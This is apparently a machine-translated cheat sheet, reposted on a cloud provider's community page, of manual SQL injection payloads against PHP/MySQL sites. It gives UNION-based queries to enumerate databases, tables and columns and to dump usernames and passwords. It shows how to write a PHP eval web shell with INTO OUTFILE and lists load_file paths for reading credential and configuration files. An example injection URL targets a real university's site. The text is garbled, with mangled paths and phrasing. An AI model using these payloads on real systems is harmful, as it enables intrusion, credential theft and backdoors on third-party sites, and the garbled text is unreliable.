PHP + MySQL manual injection statement

Source: Internet
Author: User
Tags mysql manual

Violent Field Length
Order by num /*

Matching Field
And 1 = 1 union select 1, 2, 4, 5 ....... N /*

Violent field location
And 1 = 2 union select 1, 2, 3, 4, 5 ..... N /*

Using built-in function brute-force database information
Version () database () user ()

You do not need to guess the available field brute-force database information (some websites are not applicable ):
And 1 = 2 union all select version ()/*
And 1 = 2 union all select database ()/*
And 1 = 2 union all select user ()/*

Operating system information:
And 1 = 2 union all select @ global. version_compile_ OS from mysql. user /*

Database permissions:
And ord (mid (user (), 114) =/* return normal description as root

Brute-force database (mysql> 5.0)

Mysql 5 and above have the built-in database information_schema, which stores all the database and table structure information of mysql.
And 1 = 2 union select 1, 2, 3, SCHEMA_NAME, 5, 6, 7, 8, 9, 10 from information_schema.SCHEMATA limit 0, 1

Guess table
And 1 = 2 union select 1, 2, 3, TABLE_NAME, 5, 6, 7, 8, 9, 10 from information_schema.TABLES where TABLE_SCHEMA = database (hexadecimal) limit 0 (start record, 0 is the first start record), 1 (display 1 record )-

Guess Field
And 1 = 2 Union select 1, 2, 3, COLUMN_NAME, 5, 6, 7, 8, 9, 10 from information_schema.COLUMNS where TABLE_NAME = table name (hexadecimal) limit 0, 1

Brute force password
And 1 = 2 Union select 1, 2, 3, username segment, 5, 6, 7, password segment, 8, 9 from table name limit 0, 1

Advanced usage (two data contents are displayed for one available field ):
Union select 1, 2, 3 concat (username segment, 0x3c, password segment), 5, 6, 7, 8, 9 from table name limit 0, 1

Write horse directly (Root permission)
Condition: 1. Know the physical path of the site
2. Have sufficient permissions (you can use select .... From mysql. user test)
3. magic_quotes_gpc () = OFF
Select '<? Php eval ($ _ POST [cmd])?> 'Into outfile' physical Path'
And 1 = 2 union all select one sentence HEX value into outfile path

Load_file () common paths:

1. replace (load_file (0 × 2F6574632F706173737764), 0 × 3c, 0 × 20)
2. replace (load_file (char (47,101,116, 115,115,119,100,), char (60), char (32 ))
The above two items show the full code in a PHP file. Sometimes some characters are not replaced. For example, "<" is replaced with "space" and the webpage is returned. The Code cannot be viewed.
3. load_file (char (47) can be used to list the root directories of FreeBSD and Sunos systems.
4. view the configuration file of the linux APACHE Virtual Host in/etc tpd/conf tpd. conf or/usr/local/apche/conf tpd. conf.
5. Run c: Program FilesApache GroupApacheconf httpd. conf or C: apacheconf httpd. conf to view the apache file in WINDOWS.
6. Run c:/Resin-3.0.14/conf/resin. conf to view the resin file configuration of the website developed by jsp.
7. c:/Resin/conf/resin. conf/usr/local/resin/conf/resin. conf
8. d: APACHEApache2confhttpd. conf
9. C: Program Filesmysqlmy. ini
10../themes/darkblue_orange/layout. inc. php phpmyadmin burst path
11. c: windowssystem32inetsrvMetaBase. xml: view the virtual host configuration file of IIS
12. view the resin configuration file 3.0.22 in/usr/local/resin-3.0.22/conf/RESIN. conf.
13./usr/local/resin-pro-3.0.22/conf/resin. conf is the same as above.
14./usr/local/app/apache2/conf/extra tpd-vhosts.conf apashe vm View
15. View firewall policies in/etc/sysconfig/iptables.
16. Equivalent settings of usr/local/app/php5 B/php. ini PHP
17./etc/my. cnf MYSQL configuration file
18. System Version of/etc/redhat-release Red Hat
19. C: mysqldatamysqluser. MYD has the user password in MYSQL.
20,/etc/sysconfig/network-scripts/ifcfg-eth0 to view the IP.
21./usr/local/app/php5 B/php. ini // PHP settings
22./usr/local/app/apache2/conf/extra tpd-vhosts.conf // virtual website settings
23. C: Program FilesRhinoSoft. comServ-UServUDaemon.ini
24. c: windowsmy. ini
25. c: oot. ini
Common website configuration files: config. inc. php and config. php. Replace (load_file (HEX), char (60), char (32) must be used for load_file ))
Note:
Char (60) indicates <
Char (32) indicates space

Problems with manual injection:
After the injection, the page displays:
Illegal mix of collations (latin1_swedish_ci, IMPLICIT) and (utf8_general_ci, IMPLICIT) for operation UNION
Such as: http://www.mse.tsinghua.edu.cn/mse/research/instrument.php? ID = 13% 20and % 201 = 2% 20 union % 20 select % 201, load_file (0x433A5C626F6F742E696E69), 3,4, user () % 20
This is caused by inconsistent pre-and post-encoding,
Solution: Add unhex (hex (parameter) before the parameter. The above URL can be changed:
Http://www.mse.tsinghua.edu.cn/mse/research/instrument.php? ID = 13% 20and % 201 = 2% 20 union % 20 select % 201, unhex (hex (load_file (0x433A5C626F6F742E696E69), 3, 4, unhex (hex (user () % 20

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.